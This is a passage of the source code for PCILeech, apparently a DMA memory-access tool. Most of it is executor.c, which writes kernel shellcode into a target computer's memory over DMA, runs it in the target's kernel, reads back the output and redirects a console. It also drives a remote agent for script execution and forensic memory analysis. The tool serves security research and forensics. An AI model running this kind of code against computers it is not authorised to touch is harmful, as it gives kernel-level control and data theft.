DeviceWriteMEM(_In_ QWORD qwAddr, _In_ DWORD cb, _In_reads_(cb) PBYTE pb, _In_ BOOL fRetryOnFail);\n\n/*\n* Read target physical memory. If an KMD is inserted in the target kernel the\n* KMD will be used to read the memory, otherwise the memory will be read with\n* standard DMA. Minimum granularity: page (4kB)\n* -- qwAddr = physical address in target system to read.\n* -- cb = length of data to read, must not be larger than pb.\n* -- pb = pre-allocated buffer to place result in.\n* -- fRetryOnFail\n* -- return\n*/\n_Success_(return)\nBOOL DeviceReadMEM(_In_ QWORD qwAddr, _In_ DWORD cb, _Out_writes_(cb) PBYTE pb, _In_ BOOL fRetryOnFail);\n\n/*\n* LcRead with a single retry on fail.\n*/\n_Success_(return)\nBOOL DeviceReadDMA_Retry(_In_ HANDLE hLC, _In_ QWORD pa, _In_ DWORD cb, _Out_writes_(cb) PBYTE pb);\n\n/*\n* LeechCore LcWrite with a single retry on fail.\n*/\n_Success_(return)\nBOOL DeviceWriteDMA_Retry(_In_ HANDLE hLC, _In_ QWORD pa, _In_ DWORD cb, _In_reads_(cb) PBYTE pb);\n\n/*\n* Write to target physical memory using DMA and read back the same memory and\n* thus verifying that the write was successful indeed.\n* -- hLC\n* -- pa\n* -- cb\n* -- pb\n*/\n_Success_(return)\nBOOL DeviceWriteDMA_Verify(_In_ HANDLE hLC, _In_ QWORD pa, _In_ DWORD cb, _In_reads_(cb) PBYTE pb);\n\n#endif /* __DEVICE_H__ */\n"
  },
  {
    "path": "pcileech/executor.c",
    "content": "// executor.c : implementation related 'code execution' and 'console redirect' functionality.\n//\n// (c) Ulf Frisk, 2016-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#include \"executor.h\"\n#include \"device.h\"\n#include \"util.h\"\n#include \"vmmx.h\"\n\n#define EXEC_IO_MAGIC                   0x12651232dfef9521\n#define EXEC_IO_CONSOLE_BUFFER_SIZE     0x800\n#define EXEC_IO_DMAOFFSET_IS            0x80000\n#define EXEC_IO_DMAOFFSET_OS            0x81000\n\ntypedef struct tdEXEC_IO {\n    QWORD magic;\n    struct {\n        QWORD cbRead;\n        QWORD cbReadAck;\n        QWORD Reserved[10];\n        BYTE  pb[800];\n    } con;\n    struct {\n        QWORD seq;\n        QWORD seqAck;\n        QWORD fCompleted;\n        QWORD fCompletedAck;\n    } bin;\n    QWORD Reserved[395];\n} EXEC_IO, *PEXEC_IO;\n\ntypedef struct tdCONSOLEREDIR_THREADDATA {\n    HANDLE hThreadIS;\n    HANDLE hThreadOS;\n    PEXEC_IO pInfoIS;\n    PEXEC_IO pInfoOS;\n    BYTE pbDataISConsoleBuffer[4096];\n    BYTE pbDataOSConsoleBuffer[4096];\n    BOOL fTerminateThread;\n} CONSOLEREDIR_THREADDATA, *PCONSOLEREDIR_THREADDATA;\n\ntypedef struct tdEXEC_HANDLE {\n    PBYTE pbDMA;\n    FILE *pFileOutput;\n    QWORD qwFileWritten;\n    QWORD fError;\n    EXEC_IO is;\n    EXEC_IO os;\n} EXEC_HANDLE, *PEXEC_HANDLE;\n\nstatic PPAGE_STATISTICS g_pExecPageStat = NULL;\n\n// input buffer to targeted console (outgoing info)\n// read from this console and send to targeted console\nDWORD WINAPI ConsoleRedirect_ThreadConsoleInput(PCONSOLEREDIR_THREADDATA pd)\n{\n    DWORD cbWrite, cbModulo, cbModuloAck;\n    while(!pd->fTerminateThread) {\n        while(pd->pInfoOS->con.cbRead == pd->pInfoIS->con.cbReadAck) {\n            Sleep(10);\n            continue;\n        }\n        cbModulo = pd->pInfoOS->con.cbRead % EXEC_IO_CONSOLE_BUFFER_SIZE;\n        cbModuloAck = pd->pInfoIS->con.cbReadAck % EXEC_IO_CONSOLE_BUFFER_SIZE;\n        if(cbModuloAck < cbModulo) {\n            cbWrite = cbModulo - cbModuloAck;\n            printf(\"%.*s\", cbWrite, pd->pInfoOS->con.pb + cbModuloAck);\n        } else {\n            cbWrite = EXEC_IO_CONSOLE_BUFFER_SIZE - cbModuloAck;\n            printf(\"%.*s\", cbWrite, pd->pInfoOS->con.pb + cbModuloAck);\n        }\n        pd->pInfoIS->con.cbReadAck += cbWrite;\n    }\n    return 0;\n}\n\nDWORD WINAPI ConsoleRedirect_ThreadConsoleOutput(PCONSOLEREDIR_THREADDATA pd)\n{\n    while(!pd->fTerminateThread) {\n        *(pd->pInfoIS->con.pb + (pd->pInfoIS->con.cbRead % EXEC_IO_CONSOLE_BUFFER_SIZE)) = (BYTE)getchar();\n        pd->pInfoIS->con.cbRead++;\n        while(pd->pInfoIS->con.cbRead - pd->pInfoOS->con.cbReadAck >= EXEC_IO_CONSOLE_BUFFER_SIZE) {\n            Sleep(10);\n        }\n    }\n    return 0;\n}\n\nBOOL Exec_ConsoleRedirect_Initialize(_In_ QWORD ConsoleBufferAddr_InputStream, _In_ QWORD ConsoleBufferAddr_OutputStream, _In_ DWORD dwPID, _Inout_ PCONSOLEREDIR_THREADDATA pd)\n{\n    BOOL result;\n    UNREFERENCED_PARAMETER(ConsoleBufferAddr_InputStream);\n    pd->pInfoIS = (PEXEC_IO)pd->pbDataISConsoleBuffer;\n    pd->pInfoOS = (PEXEC_IO)pd->pbDataOSConsoleBuffer;\n    // read initial buffer and check validity\n    result = dwPID ?\n        VMMDLL_MemReadEx(ctxMain->hVMM, dwPID, ConsoleBufferAddr_OutputStream, pd->pbDataOSConsoleBuffer, 0x1000, NULL, VMMDLL_FLAG_NOCACHE) :\n        DeviceReadMEM(ConsoleBufferAddr_OutputStream, 0x1000, pd->pbDataOSConsoleBuffer, FALSE);\n    if(!result || (pd->pInfoOS->magic != EXEC_IO_MAGIC)) {\n        return FALSE;\n    }\n    // create worker threads\n    pd->hThreadIS = CreateThread(NULL, 0, ConsoleRedirect_ThreadConsoleInput, pd, 0, NULL);\n    pd->hThreadOS = CreateThread(NULL, 0, ConsoleRedirect_ThreadConsoleOutput, pd, 0, NULL);\n    return TRUE;\n}\n\n/*\n* Execute a console redirect\n* -- ConsoleBufferAddr_InputStream = physical or virtual address.\n* -- ConsoleBufferAddr_OutputStream = physical or virtual address.\n* -- dwPID = zero if physical address read, non-zero if virtual address read.\n*/\nVOID Exec_ConsoleRedirect(_In_ QWORD ConsoleBufferAddr_InputStream, _In_ QWORD ConsoleBufferAddr_OutputStream, _In_ DWORD dwPID)\n{\n    BOOL result;\n    PCONSOLEREDIR_THREADDATA pd = LocalAlloc(LMEM_ZEROINIT, sizeof(CONSOLEREDIR_THREADDATA));\n    if(!pd) { return; }\n    result = Exec_ConsoleRedirect_Initialize(ConsoleBufferAddr_InputStream, ConsoleBufferAddr_OutputStream, dwPID, pd);\n    if(!result) {\n        printf(\"\\nCONSOLE_REDIRECT: Error: Address 0x%016llX does not\\ncontain a valid console buffer.\\n\", ConsoleBufferAddr_OutputStream);\n        goto fail;\n    }\n    // buffer syncer\n    while(TRUE) {\n        SwitchToThread();\n        result = dwPID ?\n            VMMDLL_MemReadEx(ctxMain->hVMM, dwPID, ConsoleBufferAddr_OutputStream, pd->pbDataOSConsoleBuffer, 0x1000, NULL, VMMDLL_FLAG_NOCACHE) :\n            DeviceReadMEM(ConsoleBufferAddr_OutputStream, 0x1000, pd->pbDataOSConsoleBuffer, FALSE);\n        if(!result || pd->pInfoOS->magic != EXEC_IO_MAGIC) {\n            printf(\"\\nCONSOLE_REDIRECT: Error: Address 0x%016llX does not\\ncontain a valid console buffer.\\n\", ConsoleBufferAddr_OutputStream);\n            goto fail;\n        }\n        if(dwPID) {\n            VMMDLL_MemWrite(ctxMain->hVMM, dwPID, ConsoleBufferAddr_InputStream, pd->pbDataISConsoleBuffer, 0x1000);\n        } else {\n            DeviceWriteMEM(ConsoleBufferAddr_InputStream, 0x1000, pd->pbDataISConsoleBuffer, FALSE);\n        }\n    }\n    fail:\n    pd->fTerminateThread = TRUE;\n}\n\n_Success_(return)\nBOOL Exec_Callback(_Inout_ PHANDLE phCallback)\n{\n    BOOL result;\n    PEXEC_HANDLE ph = *phCallback;\n    QWORD cbLength;\n    // initialize if not initialized previously.\n    if(!*phCallback) {\n        // core initialize\n        ph = *phCallback = LocalAlloc(LMEM_ZEROINIT, sizeof(EXEC_HANDLE));\n        if(!ph) { return FALSE; }\n        ph->pbDMA = LocalAlloc(LMEM_ZEROINIT, (SIZE_T)ctxMain->pk->dataOutExtraLengthMax);\n        if(!ph->pbDMA) { LocalFree(ph); *phCallback = NULL; return FALSE; }\n        ph->is.magic = EXEC_IO_MAGIC;\n        // open output file\n        if(!fopen_s(&ph->pFileOutput, ctxMain->cfg.szFileOut, \"r\") || ph->pFileOutput) {\n            if(ph->pFileOutput) {\n                fclose(ph->pFileOutput);\n            }\n            printf(\"EXEC: Failed. File already exists: %s\\n\", ctxMain->cfg.szFileOut);\n            LocalFree(ph); *phCallback = NULL;\n            return FALSE;\n        }\n        if(fopen_s(&ph->pFileOutput, ctxMain->cfg.szFileOut, \"wb\") || !ph->pFileOutput) {\n            ph->is.bin.fCompletedAck = TRUE;\n            LcWrite(ctxMain->hLC, ctxMain->pk->DMAAddrPhysical + EXEC_IO_DMAOFFSET_IS, 0x1000, (PBYTE)&ph->is);\n            ph->fError = TRUE;\n            printf(\"EXEC: Failed writing large outut to file: %s\\n\", ctxMain->cfg.szFileOut);\n            LocalFree(ph); *phCallback = NULL;\n            return FALSE;\n        }\n        printf(\"EXEC: Start writing large output to file: %s\\n\\n\", ctxMain->cfg.szFileOut);\n        if(ctxMain->cfg.fVerbose) {\n            PageStatInitialize(&g_pExecPageStat, 0, 0x0000100000000000, \"Downloading large file of unknown size ...\", TRUE, FALSE);\n            g_pExecPageStat->File.qwBaseOffset = 0;\n            g_pExecPageStat->File.qwCurrentOffset = 0;\n            g_pExecPageStat->File.fFileRead = TRUE;\n        }\n    }\n    // write to output file and ack to buffer\n    if(ph->is.bin.fCompletedAck) { return TRUE; }\n    LcRead(ctxMain->hLC, ctxMain->pk->DMAAddrPhysical + EXEC_IO_DMAOFFSET_OS, 0x1000, (PBYTE)&ph->os);\n    if(ph->os.magic != EXEC_IO_MAGIC) { return TRUE; }\n    if(ph->is.bin.seqAck >= ph->os.bin.seq) { return TRUE; }\n    cbLength = 0;\n    result =\n        DeviceReadDMA(ctxMain->pk->DMAAddrPhysical + ctxMain->pk->dataOutExtraOffset, (DWORD)SIZE_PAGE_ALIGN_4K(ctxMain->pk->dataOutExtraLength), ph->pbDMA, NULL) &&\n        (cbLength = fwrite(ph->pbDMA, 1, (SIZE_T)ctxMain->pk->dataOutExtraLength, ph->pFileOutput)) &&\n        (ctxMain->pk->dataOutExtraLength == cbLength);\n    ph->qwFileWritten += cbLength;\n    ph->fError = !result;\n    ph->is.bin.fCompletedAck = ph->is.bin.fCompletedAck || ph->os.bin.fCompleted || !result;\n    ph->is.bin.seqAck = ph->os.bin.seq;\n    LcWrite(ctxMain->hLC, ctxMain->pk->DMAAddrPhysical + EXEC_IO_DMAOFFSET_IS, 0x1000, (PBYTE)&ph->is);\n    if(g_pExecPageStat) {\n        g_pExecPageStat->File.qwCurrentOffset += cbLength >> 12;\n        PageStatUpdate(g_pExecPageStat, ph->qwFileWritten, cbLength >> 12, 0);\n    }\n    return TRUE;\n}\n\nVOID Exec_CallbackClose(_In_opt_ HANDLE hCallback)\n{\n    PEXEC_HANDLE ph = hCallback;\n    if(g_pExecPageStat) {\n        PageStatClose(&g_pExecPageStat);\n        g_pExecPageStat = NULL;\n        Sleep(50);\n    }\n    if(hCallback == NULL) { return; }\n    if(ph->pFileOutput) {\n        if(ph->fError) {\n            printf(\"EXEC: Failed writing large outut to file: %s\\n\", ctxMain->cfg.szFileOut);\n        } else {\n            printf(\"EXEC: Successfully wrote %i bytes.\\n\", (DWORD)ph->qwFileWritten);\n        }\n    }\n    if(ph->pFileOutput) { fclose(ph->pFileOutput); }\n    LocalFree(ph->pbDMA);\n    LocalFree(ph);\n}\n\n_Success_(return)\nBOOL Exec_ExecSilent(_In_ LPSTR szShellcodeName, _In_ PBYTE pbIn, _In_ QWORD cbIn, _Out_opt_ PBYTE *ppbOut, _Out_opt_ PQWORD pcbOut)\n{\n    BOOL result = FALSE;\n    PKMDDATA pk = ctxMain->pk;\n    PKMDEXEC pKmdExec = NULL;\n    //------------------------------------------------\n    // 1: Setup and initial validity checks.\n    //------------------------------------------------\n    if(pcbOut) { *pcbOut = 0; }\n    if(ppbOut) { *ppbOut = NULL; }\n    if(!ctxMain->phKMD || (ctxMain->pk->DMASizeBuffer < 0x80000 + SIZE_PAGE_ALIGN_4K(cbIn))) { goto fail; }\n    if(!Util_LoadKmdExecShellcode(szShellcodeName, &pKmdExec) || (pKmdExec->cbShellcode > 0x80000)) { goto fail; }\n    //------------------------------------------------\n    // 2: Set up shellcode and indata and write to target memory.\n    //    X, Y = page aligned.\n    //    [0 , Y       [ = shellcode\n    //    [0x80000 , X [ = data in (to target computer)\n    //    [X , buf_max [ = data out (from target computer)\n    //------------------------------------------------\n    if(!DeviceWriteDMA_Retry(ctxMain->hLC, pk->DMAAddrPhysical, (DWORD)pKmdExec->cbShellcode, pKmdExec->pbShellcode)) { goto fail; }\n    if(cbIn && !DeviceWriteDMA_Retry(ctxMain->hLC, pk->DMAAddrPhysical + 0x80000, (DWORD)cbIn, pbIn)) { goto fail; }\n    pk->dataInExtraOffset = 0x80000;    // first 0x80 pages are reserved for shellcode (RX section) in Linux 6.4+.\n    pk->dataInExtraLength = cbIn;\n    pk->dataInExtraLengthMax = SIZE_PAGE_ALIGN_4K(cbIn);\n    pk->dataOutExtraOffset = pk->dataInExtraOffset + pk->dataInExtraLengthMax;\n    pk->dataOutExtraLength = 0;\n    pk->dataOutExtraLengthMax = pk->DMASizeBuffer - pk->dataOutExtraOffset;\n    //------------------------------------------------ \n    // 3: Execute!\n    //------------------------------------------------\n    KMD_SubmitCommand(KMD_CMD_VOID);\n    result = KMD_SubmitCommand(KMD_CMD_EXEC);\n    if(!result || pk->dataOut[0] || (pk->dataOutExtraLength > pk->dataOutExtraLengthMax)) {\n        result = FALSE;\n        goto fail;\n    }\n    //------------------------------------------------\n    // 5: Display/Write additional output.\n    //------------------------------------------------\n    if(ppbOut && pcbOut) {\n        *pcbOut = pk->dataOutExtraLength;\n        *ppbOut = (PBYTE)LocalAlloc(0, SIZE_PAGE_ALIGN_4K(*pcbOut));\n        if(!*ppbOut) { result = FALSE; goto fail; }\n        result = SIZE_PAGE_ALIGN_4K(*pcbOut) == DeviceReadDMA(pk->DMAAddrPhysical + pk->dataOutExtraOffset, SIZE_PAGE_ALIGN_4K(*pcbOut), *ppbOut, NULL);\n    }\nfail:\n    LocalFree(pKmdExec);\n    return result;\n}\n\nVOID ActionExecShellcode()\n{\n    BOOL result;\n    PKMDEXEC pKmdExec = NULL;\n    PBYTE pbBuffer = NULL;\n    BYTE pbZeroPage2[0x2000] = { 0 };\n    PSTR szBufferText = NULL;\n    DWORD cbLength;\n    FILE *pFile = NULL;\n    PKMDDATA pk = ctxMain->pk;\n    //------------------------------------------------ \n    // 1: Setup and initial validity checks.\n    //------------------------------------------------\n    if(!ctxMain->phKMD) {\n        printf(\"EXEC: Failed. Executing code requires an active kernel module (KMD).\\n      Please use in conjunction with the -kmd option only.\\n\");\n        goto fail;\n    }\n    if(pk->DMASizeBuffer < 0x084000 + 0x100000 + min(0x100000, SIZE_PAGE_ALIGN_4K(ctxMain->cfg.cbIn))) {\n        printf(\"EXEC: Failed. DMA buffer is too small / input size exceeded.\\n\");\n        goto fail;\n    }\n    //------------------------------------------------ \n    // 2: Load KMD shellcode and commit to target memory.\n    //------------------------------------------------\n    result = Util_LoadKmdExecShellcode(ctxMain->cfg.szShellcodeName, &pKmdExec);\n    if(!result) {\n        printf(\"EXEC: Failed loading shellcode from file: '%s.ksh' ...\\n\", ctxMain->cfg.szShellcodeName);\n        goto fail;\n    }\n    result = DeviceWriteDMA_Verify(ctxMain->hLC, pk->DMAAddrPhysical, (DWORD)pKmdExec->cbShellcode, pKmdExec->pbShellcode);\n    if(!result) {\n        printf(\"EXEC: Failed writing shellcode to target memory.\\n\");\n        goto fail;\n    }\n    //------------------------------------------------ \n    // 3: Set up indata and write to target memory.\n    //    Memory layout of DMA buffer:\n    //    [0x000000, 0x080000[ = shellcode\n    //    [0x080000          ] = (shellcode initiated com buffer for console and data transfer (input  to   implant) [IS])\n    //    [0x081000          ] = (shellcode initiated com buffer for console and data transfer (output from implant) [OS])\n    //    [0x082000, X       [ = data in (to target computer); X = max(0x040000, cb_in)\n    //    [X       , buf_max [ = data out (from target computer)\n    //------------------------------------------------\n    LcWrite(ctxMain->hLC, pk->DMAAddrPhysical + 0x080000, 0x2000, pbZeroPage2);\n    pk->dataInExtraOffset = 0x082000;\n    pk->dataInExtraLength = ctxMain->cfg.cbIn;\n    pk->dataInExtraLengthMax = max(0x040000, SIZE_PAGE_ALIGN_4K(ctxMain->cfg.cbIn));\n    pk->dataOutExtraOffset = pk->dataInExtraOffset + pk->dataInExtraLengthMax;\n    pk->dataOutExtraLength = 0;\n    pk->dataOutExtraLengthMax = pk->DMASizeBuffer - pk->dataOutExtraOffset;\n    memcpy(pk->dataIn, ctxMain->cfg.qwDataIn, sizeof(QWORD) * 10);\n    memcpy(pk->dataInStr, ctxMain->cfg.szInS, MAX_PATH);\n    memset(pk->dataOut, 0, sizeof(QWORD) * 10);\n    memset(pk->dataOutStr, 0, MAX_PATH);\n    if(ctxMain->cfg.cbIn) {\n        result = LcWrite(ctxMain->hLC, pk->DMAAddrPhysical + pk->dataInExtraOffset, (DWORD)SIZE_PAGE_ALIGN_4K(ctxMain->cfg.cbIn), ctxMain->cfg.pbIn);\n        if(!result) {\n            printf(\"EXEC: Failed writing data to target memory.\\n\");\n            goto fail;\n        }\n    }\n    pk->dataInConsoleBuffer = 0;\n    pk->dataOutConsoleBuffer = 0;\n    //------------------------------------------------ \n    // 4: Execute! and display result.\n    //------------------------------------------------\n    KMD_SubmitCommand(KMD_CMD_VOID);\n    result = KMD_SubmitCommand(KMD_CMD_EXEC);\n    if(!result) {\n        printf(\"EXEC: Failed sending execute command to KMD.\\n\");\n        goto fail;\n    }\n    printf(\"EXEC: SUCCESS! shellcode should now execute in kernel!\\nPlease see below for results.\\n\\n\");\n    printf(pKmdExec->szOutFormatPrintf,\n        pk->dataOutStr,\n        pk->dataOut[0],\n        pk->dataOut[1],\n        pk->dataOut[2],\n        pk->dataOut[3],\n        pk->dataOut[4],\n        pk->dataOut[5],\n        pk->dataOut[6],\n        pk->dataOut[7],\n        pk->dataOut[8],\n        pk->dataOut[9]);\n    //------------------------------------------------ \n    // 5: Display/Write additional output.\n    //------------------------------------------------\n    cbLength = (DWORD)pk->dataOutExtraLength;\n    if(cbLength > 0) {\n        // read extra output buffer\n        if(!(pbBuffer = LocalAlloc(LMEM_ZEROINIT, SIZE_PAGE_ALIGN_4K(cbLength))) ||\n            !DeviceReadDMA(pk->DMAAddrPhysical + pk->dataOutExtraOffset, SIZE_PAGE_ALIGN_4K(cbLength), pbBuffer, NULL)) {\n            printf(\"EXEC: Error reading output.\\n\");\n            goto fail;\n        }\n        // print to screen\n        Util_PrintHexAscii(pbBuffer, cbLength, 0);\n        // write to out file\n        if(ctxMain->cfg.szFileOut[0]) {\n            // open output file\n            if(!fopen_s(&pFile, ctxMain->cfg.szFileOut, \"r\") || pFile) {\n                printf(\"EXEC: Error writing output to file. File already exists: %s\\n\", ctxMain->cfg.szFileOut);\n                goto fail;\n            }\n            if(fopen_s(&pFile, ctxMain->cfg.szFileOut, \"wb\") || !pFile) {\n                printf(\"EXEC: Error writing output to file.\\n\");\n                goto fail;\n            }\n            if(cbLength != fwrite(pbBuffer, 1, cbLength, pFile)) {\n                printf(\"EXEC: Error writing output to file.\\n\");\n                goto fail;\n            }\n            printf(\"EXEC: Wrote %i bytes to file %s.\\n\", cbLength, ctxMain->cfg.szFileOut);\n        }\n    }\n    //----------------------------------------------------------\n    // 6: Call the post execution console redirection if needed.\n    //----------------------------------------------------------\n    if(pk->dataInConsoleBuffer || pk->dataOutConsoleBuffer) {\n        Exec_ConsoleRedirect(pk->dataInConsoleBuffer, pk->dataOutConsoleBuffer, 0);\n    }\n    printf(\"\\n\");\nfail:\n    LocalFree(pKmdExec);\n    LocalFree(pbBuffer);\n    LocalFree(szBufferText);\n    if(pFile) { fclose(pFile); }\n}\n\nVOID ActionAgentExecPy()\n{\n    BOOL result;\n    DWORD cbResult = 0;\n    PBYTE pbResult = NULL;\n    FILE *pFile = NULL;\n    if(!ctxMain->cfg.pbIn || (ctxMain->cfg.cbIn < 4)) {\n        printf(\"AGENT-PYEXEC: Failed. Input file not valid. Please supply input file in -in option.\\n\");\n        return;\n    }\n    printf(\"AGENT-PYEXEC: Sending script to remote LeechAgent for processing.\\n\");\n    printf(\"AGENT-PYEXEC: Waiting for result ...\\n\");\n    result = LcCommand(ctxMain->hLC, LC_CMD_AGENT_EXEC_PYTHON, (DWORD)ctxMain->cfg.cbIn, ctxMain->cfg.pbIn, &pbResult, &cbResult);\n    if(!result) {\n        printf(\"AGENT-PYEXEC: Failed.\\n\");\n        return;\n    }\n    if(pbResult && (cbResult > 0)) {\n        cbResult -= 1;  // remove length of string null terminator.\n        // write to out file\n        if(ctxMain->cfg.szFileOut[0]) {\n            // open output file\n            if(!fopen_s(&pFile, ctxMain->cfg.szFileOut, \"r\") || pFile) {\n                printf(\"AGENT-PYEXEC: Error writing output to file. File already exists: %s\\n\", ctxMain->cfg.szFileOut);\n                goto fail;\n            }\n            if(fopen_s(&pFile, ctxMain->cfg.szFileOut, \"wb\") || !pFile) {\n                printf(\"AGENT-PYEXEC: Error writing output to file.\\n\");\n                goto fail;\n            }\n            if(cbResult != fwrite(pbResult, 1, cbResult, pFile)) {\n                printf(\"AGENT-PYEXEC: Error writing output to file.\\n\");\n                goto fail;\n            }\n            printf(\"AGENT-PYEXEC: Wrote %i bytes to file %s.\\n\", cbResult, ctxMain->cfg.szFileOut);\n        }\n        // print to screen\n        printf(\"AGENT-PYEXEC: Please see result below: \\n================================ \\n\");\n        Util_AsciiFilter(pbResult, cbResult); // filter away potentially harmful chars from untrusted remote input\n        printf(\"%s\\n\", (LPSTR)pbResult);\n    }\n\nfail:\n    if(pFile) { fclose(pFile); }\n    LcMemFree(pbResult);\n}\n\n#ifdef _WIN32\n\nDWORD ActionAgentForensic_OutFileDirectory(_Out_writes_z_(MAX_PATH) LPSTR szFilePrefix, _In_ LPSTR szUniqueTag)\n{\n    SYSTEMTIME st;\n    GetLocalTime(&st);\n    _snprintf_s(\n        szFilePrefix,\n        MAX_PATH,\n        _TRUNCATE,\n        \"%s%sforensic-%i%02i%02i-%02i%02i%02i-%s\",\n        ctxMain->cfg.szFileOut[0] ? ctxMain->cfg.szFileOut : \"\",\n        ctxMain->cfg.szFileOut[0] ? \"\\\\\" : \"\",\n        st.wYear,\n        st.wMonth,\n        st.wDay,\n        st.wHour,\n        st.wMinute,\n        st.wSecond,\n        szUniqueTag);\n    return (DWORD)strlen(szFilePrefix);\n}\n\nVOID ActionAgentForensic_GetFile(_In_ LPSTR szRemoteFile, _In_ LPSTR szOutFile, _In_ QWORD qwSize)\n{\n    FILE *hFile = NULL;\n    LC_CMD_AGENT_VFS_REQ Req = { 0 };\n    PLC_CMD_AGENT_VFS_RSP pRsp = NULL;\n    HANDLE hConsole;\n    CONSOLE_SCREEN_BUFFER_INFO consoleInfo;\n    Req.dwVersion = LC_CMD_AGENT_VFS_REQ_VERSION;\n    strncpy_s(Req.uszPathFile, _countof(Req.uszPathFile), szRemoteFile, _TRUNCATE);\n    if(fopen_s(&hFile, szOutFile, \"wb\")) {\n        printf(\"AGENT-ELASTIC: failed open local file %s\\n\", szOutFile);\n        goto fail;\n    }\n    printf(\"    Local File: %s\\n    Progress:     0%%\", szOutFile);\n    hConsole = GetStdHandle(STD_OUTPUT_HANDLE);\n    GetConsoleScreenBufferInfo(hConsole, &consoleInfo);\n    consoleInfo.dwCursorPosition.X -= 4;\n    while((Req.dwLength = min(0x01000000, (DWORD)(qwSize - Req.qwOffset)))) {\n        if(!LcCommand(ctxMain->hLC, LC_CMD_AGENT_VFS_READ, sizeof(LC_CMD_AGENT_VFS_REQ), (PBYTE)&Req, (PBYTE*)&pRsp, NULL) || !pRsp || !pRsp->cb) {\n            printf(\"\\nAGENT-FORENSIC: Failed reading remote file.\\n\");\n            goto fail;\n        }\n        if(pRsp->cb != fwrite(pRsp->pb, 1, pRsp->cb, hFile)) {\n            LocalFree(pRsp);\n            printf(\"\\nAGENT-FORENSIC: failed write to local file %s\\n\", szOutFile);\n            break;\n        }\n        LocalFree(pRsp);\n        Req.qwOffset += Req.dwLength;\n        SetConsoleCursorPosition(hConsole, consoleInfo.dwCursorPosition);\n        printf(\"%3lli%%\", ((Req.qwOffset * 100) / qwSize));\n    }\n    printf(\"\\n\");\nfail:\n    if(hFile) { fclose(hFile); }\n}\n\n/*\n* Retrieve forensic mode JSON data from the remote system. This is achieved by\n* starting MemProcFS as a child-process remotely and accessing its virtual file\n* system. The JSON data retrieved is compatible with ElasticSearch.\n*/\nVOID ActionAgentForensic()\n{\n    CHAR szPercent[4] = { 0 }, szRemoteFile[MAX_PATH] = { 0 }, szLocalFile[MAX_PATH] = { 0 };\n    CHAR szTag[18] = { 0 };\n    LPSTR szFile;\n    DWORD i, cPercent = 0, cbResult = 0, cchLocalFileDirectory;\n    PBYTE pbResult = NULL;\n    PLC_CMD_AGENT_VFS_REQ pReq = NULL;\n    PLC_CMD_AGENT_VFS_RSP pRsp = NULL;\n    PVMMDLL_VFS_FILELISTBLOB pVfsList;\n    HANDLE hConsole;\n    CONSOLE_SCREEN_BUFFER_INFO consoleInfo;\n    \n    // Initial setup\n    if(!(pReq = LocalAlloc(LMEM_ZEROINIT, sizeof(LC_CMD_AGENT_VFS_REQ) + 1))) { goto fail; }\n    pReq->dwVersion = LC_CMD_AGENT_VFS_REQ_VERSION;\n    strncpy_s(pReq->uszPathFile, _countof(pReq->uszPathFile), \"\\\\forensic\\\\forensic_enable.txt\", _TRUNCATE);\n\n    // Enable/verify forensic mode '1' - in-memory database\n    pReq->cb = 1;\n    pReq->pb[0] = '1';\n    if(!LcCommand(ctxMain->hLC, LC_CMD_AGENT_VFS_WRITE, sizeof(LC_CMD_AGENT_VFS_REQ) + 1, (PBYTE)pReq, NULL, NULL)) {\n        printf(\"AGENT-FORENSIC: Failed to connect to the remote system or enable memory analysis.\\n\");\n        goto fail;\n    }\n    pReq->cb = 0;\n    pReq->dwLength = 3;\n    if(!LcCommand(ctxMain->hLC, LC_CMD_AGENT_VFS_READ, sizeof(LC_CMD_AGENT_VFS_REQ), (PBYTE)pReq, (PBYTE*)&pRsp, NULL) || !pRsp || !pRsp->cb || pRsp->pb[0] != '1') {\n        printf(\"AGENT-FORENSIC: Failed start remote forensic mode memory analysis.\\n\");\n        goto fail;\n    }\n    LocalFree(pRsp); pRsp = NULL;\n\n    // Get Unique Tag\n    strncpy_s(pReq->uszPathFile, _countof(pReq->uszPathFile), \"\\\\sys\\\\unique-tag.txt\", _TRUNCATE);\n    pReq->cb = 0;\n    pReq->dwLength = 17;\n    if(!LcCommand(ctxMain->hLC, LC_CMD_AGENT_VFS_READ, sizeof(LC_CMD_AGENT_VFS_REQ), (PBYTE)pReq, (PBYTE*)&pRsp, NULL) || !pRsp || !pRsp->cb || (pRsp->cb > 17)) {\n        printf(\"AGENT-FORENSIC: Failed retrieving unique tag.\\n\");\n        goto fail;\n    }\n    memcpy(szTag, pRsp->pb, pRsp->cb);\n    LocalFree(pRsp); pRsp = NULL;\n    printf(\"AGENT-FORENSIC: Remote System Tag: %s\\n\", szTag);\n\n    // Watch for progress until 100%\n    printf(\"AGENT-FORENSIC: Connected. Remote forensic memory analysis:   0%%\");\n    hConsole = GetStdHandle(STD_OUTPUT_HANDLE);\n    GetConsoleScreenBufferInfo(hConsole, &consoleInfo);\n    consoleInfo.dwCursorPosition.X -= 4;\n    cPercent = 0;\n    strncpy_s(pReq->uszPathFile, _countof(pReq->uszPathFile), \"\\\\forensic\\\\progress_percent.txt\", _TRUNCATE);\n    pReq->cb = 0;\n    pReq->dwLength = 3;\n    while(cPercent != 100) {\n        Sleep(250);\n        if(!LcCommand(ctxMain->hLC, LC_CMD_AGENT_VFS_READ, sizeof(LC_CMD_AGENT_VFS_REQ), (PBYTE)pReq, (PBYTE*)&pRsp, NULL) || !pRsp) {\n            printf(\"\\nAGENT-FORENSIC: Failed to retrieve progress percent ...\\n\");\n            goto fail;\n        }\n        memcpy(szPercent, pRsp->pb, min(3, pRsp->cb));\n        LocalFree(pRsp); pRsp = NULL;\n        cPercent = atoi(szPercent);\n        SetConsoleCursorPosition(hConsole, consoleInfo.dwCursorPosition);\n        printf(\"%3i%%\", cPercent);\n    }\n\n    // Retrieve /forensic/json directory info and print file list:\n    strncpy_s(pReq->uszPathFile, _countof(pReq->uszPathFile), \"\\\\forensic\\\\json\", _TRUNCATE);\n    pReq->dwLength = 0;\n    if(!LcCommand(ctxMain->hLC, LC_CMD_AGENT_VFS_LIST, sizeof(LC_CMD_AGENT_VFS_REQ), (PBYTE)pReq, (PBYTE*)&pRsp, NULL) || !pRsp) {\n        printf(\"AGENT-FORENSIC: Failed to retrieve file info.\\n\");\n        goto fail;\n    }\n    pVfsList = (PVMMDLL_VFS_FILELISTBLOB)pRsp->pb;                          // sanity/security checks on remote deta done in leechcore\n    pVfsList->uszMultiText = pVfsList->uszMultiText + (QWORD)pVfsList;      // fixup relative uszMultiText offset\n    if(pVfsList->cFileEntry > 16) {\n        printf(\"AGENT-FORENSIC: Too many files on remote system (%i).\\n\", pVfsList->cFileEntry);\n        goto fail;\n    }\n    cchLocalFileDirectory = 